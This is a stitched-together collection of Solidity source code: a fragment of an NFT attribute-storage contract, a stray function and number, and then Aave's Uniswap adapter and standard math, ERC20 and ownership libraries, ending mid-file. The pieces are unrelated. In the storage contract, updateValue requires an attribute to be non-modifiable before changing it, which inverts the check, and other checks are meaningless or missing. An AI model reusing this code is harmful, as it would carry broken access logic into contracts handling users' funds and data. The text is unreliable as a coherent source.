the attributes to add * @param _attributeTypes The variable types of the attributes * @param _updateFees Fee that a user pays when updating each attribute * @param _unique Whether the attribute values must be unique throughout a Template * @param _canModify Whether the attribute values can be modified after they are initialized. * @return (bool) Whether the attributes were added successfully */ function addAttributes(bytes32[] calldata _attributeNames, bytes32[] calldata _attributeTypes, uint[] calldata _updateFees, bool[] calldata _unique, bool[] calldata _canModify) external override onlyOwner returns (bool) { if (_attributeNames.length != _attributeTypes.length) { return false; } if (_attributeNames.length != _updateFees.length) { return false; } if (_attributeNames.length != _unique.length) { return false; } for (uint i = 0; i < _attributeNames.length; i++) { if (attributes[_attributeNames[i]].name == _attributeNames[i]) { return false; } attributes[_attributeNames[i]] = Attribute(_unique[i], _canModify[i], _updateFees[i], _attributeNames[i], _attributeTypes[i]); attributeNames.push(_attributeNames[i]); } emit AddedAttributes(_attributeNames, _attributeTypes, _updateFees, _unique); return true; } /** * @dev Sets the attribute's updateFee to the new fee * @param _attributeName Name of the attribute to add * @param _newFee The new updateFee * @return (bool) Whether the fee was updated successfully */ function updateAttributeFee(bytes32 _attributeName, uint _newFee) external override onlyOwner returns (bool) { if (attributes[_attributeName].name != _attributeName) { return false; } if (_newFee < 0) { return false; } attributes[_attributeName].updateFee = _newFee; emit UpdatedAttributeFee(_attributeName, _newFee); return true; } /** * @dev Initializes an attribute to the given value; avoids paying the updateFee * @param _id NFT id * @param _attributeName Name of the attribute * @param _initialValue Initial value of the attribute * @return (bool) Whether the attribute was initialized successfully */ function initializeValue(uint _id, bytes32 _attributeName, bytes calldata _initialValue) external override onlyOperator returns (bool) { if (attributes[_attributeName].name != _attributeName) { return false; } if (_id == 0) { return false; } //Check if attribute value already exists if (attributes[_attributeName].unique && bytesData[_attributeName][_initialValue] > 0) { return false; } return _setValueByType(_id, _attributeName, attributes[_attributeName].variableType, _initialValue); } /** * @dev Initializes multiple attributes * @param _id NFT id * @param _attributeNames Name of the attributes * @param _initialValues Initial values of the attributes * @return (bool) Whether the attributes were initialized successfully */ function initializeValues(uint _id, bytes32[] calldata _attributeNames, bytes[] calldata _initialValues) external override onlyOperator returns (bool) { if (_id == 0) { return false; } for (uint i = 0; i < _attributeNames.length; i++) { if (attributes[_attributeNames[i]].name != _attributeNames[i]) { return false; } //Check if attribute value is unique if (attributes[_attributeNames[i]].unique && bytesData[_attributeNames[i]][_initialValues[i]] > 0) { return false; } if (!_setValueByType(_id, _attributeNames[i], attributes[_attributeNames[i]].variableType, _initialValues[i])) { return false; } } return true; } /** * @dev Sets the attribute's value to the new value * @param _attributeName Name of the attribute * @param _newValue New value of the attribute */ function updateValue(bytes32 _attributeName, bytes calldata _newValue) external override { uint id = users.getUser(msg.sender); require(id > 0, "ExternalStorage: user has not created a profile yet."); require(!attributes[_attributeName].canModify, "ExternalStorage: attribute cannot be modified."); require(attributes[_attributeName].name == _attributeName, "ExternalStorage: attribute does not exist."); require(!(attributes[_attributeName].unique && bytesData[_attributeName][_newValue] > 0), "ExternalStorage: attribute must have a unique value."); // Pay fee for updating attribute value. feeToken.safeTransferFrom(msg.sender, feeRecipient, attributes[_attributeName].updateFee); require(_setValueByType(id, _attributeName, attributes[_attributeName].variableType, _newValue), "ExternalStorage: error when updating value."); emit UpdatedValue(msg.sender, id, _attributeName, _newValue); } /* ========== INTERNAL FUNCTIONS ========== */ function _setValueByType(uint _id, bytes32 _attributeName, bytes32 _variableType, bytes calldata _newValue) internal returns (bool) { //Check if value already exists if (attributes[_attributeName].unique && bytesData[_attributeName][_newValue] > 0) { return false; } else { bytesData[_attributeName][_newValue] = _id; } if (keccak256(abi.encodePacked(_variableType)) == keccak256("uint")) { uintStorage[_attributeName][_id] = uint(read32(_newValue, 0, 32)); } else if (keccak256(abi.encodePacked(_variableType)) == keccak256("bool")) { boolStorage[_attributeName][_id] = !(uint(read32(_newValue, 0, 32)) == 0); } else if (keccak256(abi.encodePacked(_variableType)) == keccak256("address")) { addressStorage[_attributeName][_id] = convert32toAddress(read32(_newValue, 0, 32)); } else if (keccak256(abi.encodePacked(_variableType)) == keccak256("bytes32")) { bytes32Storage[_attributeName][_id] = read32(_newValue, 0, 32); } else if (keccak256(abi.encodePacked(_variableType)) == keccak256("string")) { stringStorage[_attributeName][_id] = string(_newValue); } else { return false; } emit SetAttributeValue(_attributeName, _variableType, _newValue); return true; } /* ========== RESTRICTED FUNCTIONS ========== */ function setOperator(address _operator) external onlyOwner operatorNotSet { require(_operator != address(0), "ExternalStorage: invalid operator address."); operator = _operator; emit SetOperator(_operator); } function setAttributeMutability(bytes32 _attributeName, bool _canModify) external onlyOwner isValidAttributeName(_attributeName) { attributes[_attributeName].canModify = _canModify; emit UpdatedAttributeMutability(_attributeName, _canModify); } /* ========== MODIFIERS ========== */ modifier operatorNotSet() { require(operator == address(0), "ExternalStorage: operator has already been set."); _; } modifier isValidId(uint _id) { require(_id > 0, "ExternalStorage: Id is not valid"); _; } modifier isValidAttributeName(bytes32 _name) { require(_name == attributes[_name].name, "ExternalStorage: Attribute not found."); _; } modifier onlyOperator() { require(msg.sender == operator, "ExternalStorage: Only operator can call this function."); _; } /* ========== EVENTS ========== */ event AddedAttribute(bytes32 name, bytes32 variableType, uint updateFee, bool unique); event AddedAttributes(bytes32[] names, bytes32[] variableTypes, uint[] updateFees, bool[] unique); event UpdatedAttributeFee(bytes32 name, uint newFee); event SetAttributeValue(bytes32 name, bytes32 variableType, bytes value); event SetOperator(address operator); event UpdatedValue(address indexed user, uint indexed profileID, bytes32 attributeName, bytes value); event UpdatedAttributeMutability(bytes32 attributeName, bool canModify); }
Returns the attribute's value as a bytes32 Reverts if the attribute is not found or if the attribute doesn't have bytes32 type _id NFT id _attributeName Name of the attribute return (bytes32) Value of the attribute/
function getBytes32Value(uint _id, bytes32 _attributeName) external view override isValidId(_id) isValidAttributeName(_attributeName) returns (bytes32) { require(keccak256(abi.encodePacked(attributes[_attributeName].variableType)) == keccak256(abi.encodePacked("bytes32")), "ExternalStorage: Expected bytes32 type."); return bytes32Storage[_attributeName][_id]; }
1,769,575
// SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import {PercentageMath} from '../protocol/libraries/math/PercentageMath.sol'; import {SafeMath} from '../dependencies/openzeppelin/contracts/SafeMath.sol'; import {IERC20} from '../dependencies/openzeppelin/contracts/IERC20.sol'; import {IERC20Detailed} from '../dependencies/openzeppelin/contracts/IERC20Detailed.sol'; import {SafeERC20} from '../dependencies/openzeppelin/contracts/SafeERC20.sol'; import {Ownable} from '../dependencies/openzeppelin/contracts/Ownable.sol'; import {ILendingPoolAddressesProvider} from '../interfaces/ILendingPoolAddressesProvider.sol'; import {DataTypes} from '../protocol/libraries/types/DataTypes.sol'; import {IUniswapV2Router02} from '../interfaces/IUniswapV2Router02.sol'; import {IPriceOracleGetter} from '../interfaces/IPriceOracleGetter.sol'; import {IERC20WithPermit} from '../interfaces/IERC20WithPermit.sol'; import {FlashLoanReceiverBase} from '../flashloan/base/FlashLoanReceiverBase.sol'; import {IBaseUniswapAdapter} from './interfaces/IBaseUniswapAdapter.sol'; /** * @title BaseUniswapAdapter * @notice Implements the logic for performing assets swaps in Uniswap V2 * @author Aave **/ abstract contract BaseUniswapAdapter is FlashLoanReceiverBase, IBaseUniswapAdapter, Ownable { using SafeMath for uint256; using PercentageMath for uint256; using SafeERC20 for IERC20; // Max slippage percent allowed uint256 public constant override MAX_SLIPPAGE_PERCENT = 3000; // 30% // FLash Loan fee set in lending pool uint256 public constant override FLASHLOAN_PREMIUM_TOTAL = 9; // USD oracle asset address address public constant override USD_ADDRESS = 0x10F7Fc1F91Ba351f9C629c5947AD69bD03C05b96; address public immutable override WETH_ADDRESS; IPriceOracleGetter public immutable override ORACLE; IUniswapV2Router02 public immutable override UNISWAP_ROUTER; constructor( ILendingPoolAddressesProvider addressesProvider, IUniswapV2Router02 uniswapRouter, address wethAddress ) public FlashLoanReceiverBase(addressesProvider) { ORACLE = IPriceOracleGetter(addressesProvider.getPriceOracle()); UNISWAP_ROUTER = uniswapRouter; WETH_ADDRESS = wethAddress; } /** * @dev Given an input asset amount, returns the maximum output amount of the other asset and the prices * @param amountIn Amount of reserveIn * @param reserveIn Address of the asset to be swap from * @param reserveOut Address of the asset to be swap to * @return uint256 Amount out of the reserveOut * @return uint256 The price of out amount denominated in the reserveIn currency (18 decimals) * @return uint256 In amount of reserveIn value denominated in USD (8 decimals) * @return uint256 Out amount of reserveOut value denominated in USD (8 decimals) */ function getAmountsOut( uint256 amountIn, address reserveIn, address reserveOut ) external view override returns ( uint256, uint256, uint256, uint256, address[] memory ) { AmountCalc memory results = _getAmountsOutData(reserveIn, reserveOut, amountIn); return ( results.calculatedAmount, results.relativePrice, results.amountInUsd, results.amountOutUsd, results.path ); } /** * @dev Returns the minimum input asset amount required to buy the given output asset amount and the prices * @param amountOut Amount of reserveOut * @param reserveIn Address of the asset to be swap from * @param reserveOut Address of the asset to be swap to * @return uint256 Amount in of the reserveIn * @return uint256 The price of in amount denominated in the reserveOut currency (18 decimals) * @return uint256 In amount of reserveIn value denominated in USD (8 decimals) * @return uint256 Out amount of reserveOut value denominated in USD (8 decimals) */ function getAmountsIn( uint256 amountOut, address reserveIn, address reserveOut ) external view override returns ( uint256, uint256, uint256, uint256, address[] memory ) { AmountCalc memory results = _getAmountsInData(reserveIn, reserveOut, amountOut); return ( results.calculatedAmount, results.relativePrice, results.amountInUsd, results.amountOutUsd, results.path ); } /** * @dev Swaps an exact `amountToSwap` of an asset to another * @param assetToSwapFrom Origin asset * @param assetToSwapTo Destination asset * @param amountToSwap Exact amount of `assetToSwapFrom` to be swapped * @param minAmountOut the min amount of `assetToSwapTo` to be received from the swap * @return the amount received from the swap */ function _swapExactTokensForTokens( address assetToSwapFrom, address assetToSwapTo, uint256 amountToSwap, uint256 minAmountOut, bool useEthPath ) internal returns (uint256) { uint256 fromAssetDecimals = _getDecimals(assetToSwapFrom); uint256 toAssetDecimals = _getDecimals(assetToSwapTo); uint256 fromAssetPrice = _getPrice(assetToSwapFrom); uint256 toAssetPrice = _getPrice(assetToSwapTo); uint256 expectedMinAmountOut = amountToSwap .mul(fromAssetPrice.mul(10**toAssetDecimals)) .div(toAssetPrice.mul(10**fromAssetDecimals)) .percentMul(PercentageMath.PERCENTAGE_FACTOR.sub(MAX_SLIPPAGE_PERCENT)); require(expectedMinAmountOut < minAmountOut, 'minAmountOut exceed max slippage'); // Approves the transfer for the swap. Approves for 0 first to comply with tokens that implement the anti frontrunning approval fix. IERC20(assetToSwapFrom).safeApprove(address(UNISWAP_ROUTER), 0); IERC20(assetToSwapFrom).safeApprove(address(UNISWAP_ROUTER), amountToSwap); address[] memory path; if (useEthPath) { path = new address[](3); path[0] = assetToSwapFrom; path[1] = WETH_ADDRESS; path[2] = assetToSwapTo; } else { path = new address[](2); path[0] = assetToSwapFrom; path[1] = assetToSwapTo; } uint256[] memory amounts = UNISWAP_ROUTER.swapExactTokensForTokens( amountToSwap, minAmountOut, path, address(this), block.timestamp ); emit Swapped(assetToSwapFrom, assetToSwapTo, amounts[0], amounts[amounts.length - 1]); return amounts[amounts.length - 1]; } /** * @dev Receive an exact amount `amountToReceive` of `assetToSwapTo` tokens for as few `assetToSwapFrom` tokens as * possible. * @param assetToSwapFrom Origin asset * @param assetToSwapTo Destination asset * @param maxAmountToSwap Max amount of `assetToSwapFrom` allowed to be swapped * @param amountToReceive Exact amount of `assetToSwapTo` to receive * @return the amount swapped */ function _swapTokensForExactTokens( address assetToSwapFrom, address assetToSwapTo, uint256 maxAmountToSwap, uint256 amountToReceive, bool useEthPath ) internal returns (uint256) { uint256 fromAssetDecimals = _getDecimals(assetToSwapFrom); uint256 toAssetDecimals = _getDecimals(assetToSwapTo); uint256 fromAssetPrice = _getPrice(assetToSwapFrom); uint256 toAssetPrice = _getPrice(assetToSwapTo); uint256 expectedMaxAmountToSwap = amountToReceive .mul(toAssetPrice.mul(10**fromAssetDecimals)) .div(fromAssetPrice.mul(10**toAssetDecimals)) .percentMul(PercentageMath.PERCENTAGE_FACTOR.add(MAX_SLIPPAGE_PERCENT)); require(maxAmountToSwap < expectedMaxAmountToSwap, 'maxAmountToSwap exceed max slippage'); // Approves the transfer for the swap. Approves for 0 first to comply with tokens that implement the anti frontrunning approval fix. IERC20(assetToSwapFrom).safeApprove(address(UNISWAP_ROUTER), 0); IERC20(assetToSwapFrom).safeApprove(address(UNISWAP_ROUTER), maxAmountToSwap); address[] memory path; if (useEthPath) { path = new address[](3); path[0] = assetToSwapFrom; path[1] = WETH_ADDRESS; path[2] = assetToSwapTo; } else { path = new address[](2); path[0] = assetToSwapFrom; path[1] = assetToSwapTo; } uint256[] memory amounts = UNISWAP_ROUTER.swapTokensForExactTokens( amountToReceive, maxAmountToSwap, path, address(this), block.timestamp ); emit Swapped(assetToSwapFrom, assetToSwapTo, amounts[0], amounts[amounts.length - 1]); return amounts[0]; } /** * @dev Get the price of the asset from the oracle denominated in eth * @param asset address * @return eth price for the asset */ function _getPrice(address asset) internal view returns (uint256) { return ORACLE.getAssetPrice(asset); } /** * @dev Get the decimals of an asset * @return number of decimals of the asset */ function _getDecimals(address asset) internal view returns (uint256) { return IERC20Detailed(asset).decimals(); } /** * @dev Get the aToken associated to the asset * @return address of the aToken */ function _getReserveData(address asset) internal view returns (DataTypes.ReserveData memory) { return LENDING_POOL.getReserveData(asset); } /** * @dev Pull the ATokens from the user * @param reserve address of the asset * @param reserveAToken address of the aToken of the reserve * @param user address * @param amount of tokens to be transferred to the contract * @param permitSignature struct containing the permit signature */ function _pullAToken( address reserve, address reserveAToken, address user, uint256 amount, PermitSignature memory permitSignature ) internal { if (_usePermit(permitSignature)) { IERC20WithPermit(reserveAToken).permit( user, address(this), permitSignature.amount, permitSignature.deadline, permitSignature.v, permitSignature.r, permitSignature.s ); } // transfer from user to adapter IERC20(reserveAToken).safeTransferFrom(user, address(this), amount); // withdraw reserve LENDING_POOL.withdraw(reserve, amount, address(this)); } /** * @dev Tells if the permit method should be called by inspecting if there is a valid signature. * If signature params are set to 0, then permit won't be called. * @param signature struct containing the permit signature * @return whether or not permit should be called */ function _usePermit(PermitSignature memory signature) internal pure returns (bool) { return !(uint256(signature.deadline) == uint256(signature.v) && uint256(signature.deadline) == 0); } /** * @dev Calculates the value denominated in USD * @param reserve Address of the reserve * @param amount Amount of the reserve * @param decimals Decimals of the reserve * @return whether or not permit should be called */ function _calcUsdValue( address reserve, uint256 amount, uint256 decimals ) internal view returns (uint256) { uint256 ethUsdPrice = _getPrice(USD_ADDRESS); uint256 reservePrice = _getPrice(reserve); return amount.mul(reservePrice).div(10**decimals).mul(ethUsdPrice).div(10**18); } /** * @dev Given an input asset amount, returns the maximum output amount of the other asset * @param reserveIn Address of the asset to be swap from * @param reserveOut Address of the asset to be swap to * @param amountIn Amount of reserveIn * @return Struct containing the following information: * uint256 Amount out of the reserveOut * uint256 The price of out amount denominated in the reserveIn currency (18 decimals) * uint256 In amount of reserveIn value denominated in USD (8 decimals) * uint256 Out amount of reserveOut value denominated in USD (8 decimals) */ function _getAmountsOutData( address reserveIn, address reserveOut, uint256 amountIn ) internal view returns (AmountCalc memory) { // Subtract flash loan fee uint256 finalAmountIn = amountIn.sub(amountIn.mul(FLASHLOAN_PREMIUM_TOTAL).div(10000)); if (reserveIn == reserveOut) { uint256 reserveDecimals = _getDecimals(reserveIn); address[] memory path = new address[](1); path[0] = reserveIn; return AmountCalc( finalAmountIn, finalAmountIn.mul(10**18).div(amountIn), _calcUsdValue(reserveIn, amountIn, reserveDecimals), _calcUsdValue(reserveIn, finalAmountIn, reserveDecimals), path ); } address[] memory simplePath = new address[](2); simplePath[0] = reserveIn; simplePath[1] = reserveOut; uint256[] memory amountsWithoutWeth; uint256[] memory amountsWithWeth; address[] memory pathWithWeth = new address[](3); if (reserveIn != WETH_ADDRESS && reserveOut != WETH_ADDRESS) { pathWithWeth[0] = reserveIn; pathWithWeth[1] = WETH_ADDRESS; pathWithWeth[2] = reserveOut; try UNISWAP_ROUTER.getAmountsOut(finalAmountIn, pathWithWeth) returns ( uint256[] memory resultsWithWeth ) { amountsWithWeth = resultsWithWeth; } catch { amountsWithWeth = new uint256[](3); } } else { amountsWithWeth = new uint256[](3); } uint256 bestAmountOut; try UNISWAP_ROUTER.getAmountsOut(finalAmountIn, simplePath) returns ( uint256[] memory resultAmounts ) { amountsWithoutWeth = resultAmounts; bestAmountOut = (amountsWithWeth[2] > amountsWithoutWeth[1]) ? amountsWithWeth[2] : amountsWithoutWeth[1]; } catch { amountsWithoutWeth = new uint256[](2); bestAmountOut = amountsWithWeth[2]; } uint256 reserveInDecimals = _getDecimals(reserveIn); uint256 reserveOutDecimals = _getDecimals(reserveOut); uint256 outPerInPrice = finalAmountIn.mul(10**18).mul(10**reserveOutDecimals).div( bestAmountOut.mul(10**reserveInDecimals) ); return AmountCalc( bestAmountOut, outPerInPrice, _calcUsdValue(reserveIn, amountIn, reserveInDecimals), _calcUsdValue(reserveOut, bestAmountOut, reserveOutDecimals), (bestAmountOut == 0) ? new address[](2) : (bestAmountOut == amountsWithoutWeth[1]) ? simplePath : pathWithWeth ); } /** * @dev Returns the minimum input asset amount required to buy the given output asset amount * @param reserveIn Address of the asset to be swap from * @param reserveOut Address of the asset to be swap to * @param amountOut Amount of reserveOut * @return Struct containing the following information: * uint256 Amount in of the reserveIn * uint256 The price of in amount denominated in the reserveOut currency (18 decimals) * uint256 In amount of reserveIn value denominated in USD (8 decimals) * uint256 Out amount of reserveOut value denominated in USD (8 decimals) */ function _getAmountsInData( address reserveIn, address reserveOut, uint256 amountOut ) internal view returns (AmountCalc memory) { if (reserveIn == reserveOut) { // Add flash loan fee uint256 amountIn = amountOut.add(amountOut.mul(FLASHLOAN_PREMIUM_TOTAL).div(10000)); uint256 reserveDecimals = _getDecimals(reserveIn); address[] memory path = new address[](1); path[0] = reserveIn; return AmountCalc( amountIn, amountOut.mul(10**18).div(amountIn), _calcUsdValue(reserveIn, amountIn, reserveDecimals), _calcUsdValue(reserveIn, amountOut, reserveDecimals), path ); } (uint256[] memory amounts, address[] memory path) = _getAmountsInAndPath(reserveIn, reserveOut, amountOut); // Add flash loan fee uint256 finalAmountIn = amounts[0].add(amounts[0].mul(FLASHLOAN_PREMIUM_TOTAL).div(10000)); uint256 reserveInDecimals = _getDecimals(reserveIn); uint256 reserveOutDecimals = _getDecimals(reserveOut); uint256 inPerOutPrice = amountOut.mul(10**18).mul(10**reserveInDecimals).div( finalAmountIn.mul(10**reserveOutDecimals) ); return AmountCalc( finalAmountIn, inPerOutPrice, _calcUsdValue(reserveIn, finalAmountIn, reserveInDecimals), _calcUsdValue(reserveOut, amountOut, reserveOutDecimals), path ); } /** * @dev Calculates the input asset amount required to buy the given output asset amount * @param reserveIn Address of the asset to be swap from * @param reserveOut Address of the asset to be swap to * @param amountOut Amount of reserveOut * @return uint256[] amounts Array containing the amountIn and amountOut for a swap */ function _getAmountsInAndPath( address reserveIn, address reserveOut, uint256 amountOut ) internal view returns (uint256[] memory, address[] memory) { address[] memory simplePath = new address[](2); simplePath[0] = reserveIn; simplePath[1] = reserveOut; uint256[] memory amountsWithoutWeth; uint256[] memory amountsWithWeth; address[] memory pathWithWeth = new address[](3); if (reserveIn != WETH_ADDRESS && reserveOut != WETH_ADDRESS) { pathWithWeth[0] = reserveIn; pathWithWeth[1] = WETH_ADDRESS; pathWithWeth[2] = reserveOut; try UNISWAP_ROUTER.getAmountsIn(amountOut, pathWithWeth) returns ( uint256[] memory resultsWithWeth ) { amountsWithWeth = resultsWithWeth; } catch { amountsWithWeth = new uint256[](3); } } else { amountsWithWeth = new uint256[](3); } try UNISWAP_ROUTER.getAmountsIn(amountOut, simplePath) returns ( uint256[] memory resultAmounts ) { amountsWithoutWeth = resultAmounts; return (amountsWithWeth[0] < amountsWithoutWeth[0] && amountsWithWeth[0] != 0) ? (amountsWithWeth, pathWithWeth) : (amountsWithoutWeth, simplePath); } catch { return (amountsWithWeth, pathWithWeth); } } /** * @dev Calculates the input asset amount required to buy the given output asset amount * @param reserveIn Address of the asset to be swap from * @param reserveOut Address of the asset to be swap to * @param amountOut Amount of reserveOut * @return uint256[] amounts Array containing the amountIn and amountOut for a swap */ function _getAmountsIn( address reserveIn, address reserveOut, uint256 amountOut, bool useEthPath ) internal view returns (uint256[] memory) { address[] memory path; if (useEthPath) { path = new address[](3); path[0] = reserveIn; path[1] = WETH_ADDRESS; path[2] = reserveOut; } else { path = new address[](2); path[0] = reserveIn; path[1] = reserveOut; } return UNISWAP_ROUTER.getAmountsIn(amountOut, path); } /** * @dev Emergency rescue for token stucked on this contract, as failsafe mechanism * - Funds should never remain in this contract more time than during transactions * - Only callable by the owner **/ function rescueTokens(IERC20 token) external onlyOwner { token.transfer(owner(), token.balanceOf(address(this))); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {Errors} from '../helpers/Errors.sol'; /** * @title PercentageMath library * @author Aave * @notice Provides functions to perform percentage calculations * @dev Percentages are defined by default with 2 decimals of precision (100.00). The precision is indicated by PERCENTAGE_FACTOR * @dev Operations are rounded half up **/ library PercentageMath { uint256 constant PERCENTAGE_FACTOR = 1e4; //percentage plus two decimals uint256 constant HALF_PERCENT = PERCENTAGE_FACTOR / 2; /** * @dev Executes a percentage multiplication * @param value The value of which the percentage needs to be calculated * @param percentage The percentage of the value to be calculated * @return The percentage of value **/ function percentMul(uint256 value, uint256 percentage) internal pure returns (uint256) { if (value == 0 || percentage == 0) { return 0; } require( value <= (type(uint256).max - HALF_PERCENT) / percentage, Errors.MATH_MULTIPLICATION_OVERFLOW ); return (value * percentage + HALF_PERCENT) / PERCENTAGE_FACTOR; } /** * @dev Executes a percentage division * @param value The value of which the percentage needs to be calculated * @param percentage The percentage of the value to be calculated * @return The value divided the percentage **/ function percentDiv(uint256 value, uint256 percentage) internal pure returns (uint256) { require(percentage != 0, Errors.MATH_DIVISION_BY_ZERO); uint256 halfPercentage = percentage / 2; require( value <= (type(uint256).max - halfPercentage) / PERCENTAGE_FACTOR, Errors.MATH_MULTIPLICATION_OVERFLOW ); return (value * PERCENTAGE_FACTOR + halfPercentage) / percentage; } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, 'SafeMath: addition overflow'); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, 'SafeMath: subtraction overflow'); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, 'SafeMath: multiplication overflow'); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, 'SafeMath: division by zero'); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, 'SafeMath: modulo by zero'); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {IERC20} from './IERC20.sol'; interface IERC20Detailed is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import {IERC20} from './IERC20.sol'; import {SafeMath} from './SafeMath.sol'; import {Address} from './Address.sol'; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove( IERC20 token, address spender, uint256 value ) internal { require( (value == 0) || (token.allowance(address(this), spender) == 0), 'SafeERC20: approve from non-zero to non-zero allowance' ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), 'SafeERC20: call to non-contract'); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, 'SafeERC20: low-level call failed'); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), 'SafeERC20: ERC20 operation did not succeed'); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import './Context.sol'; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ 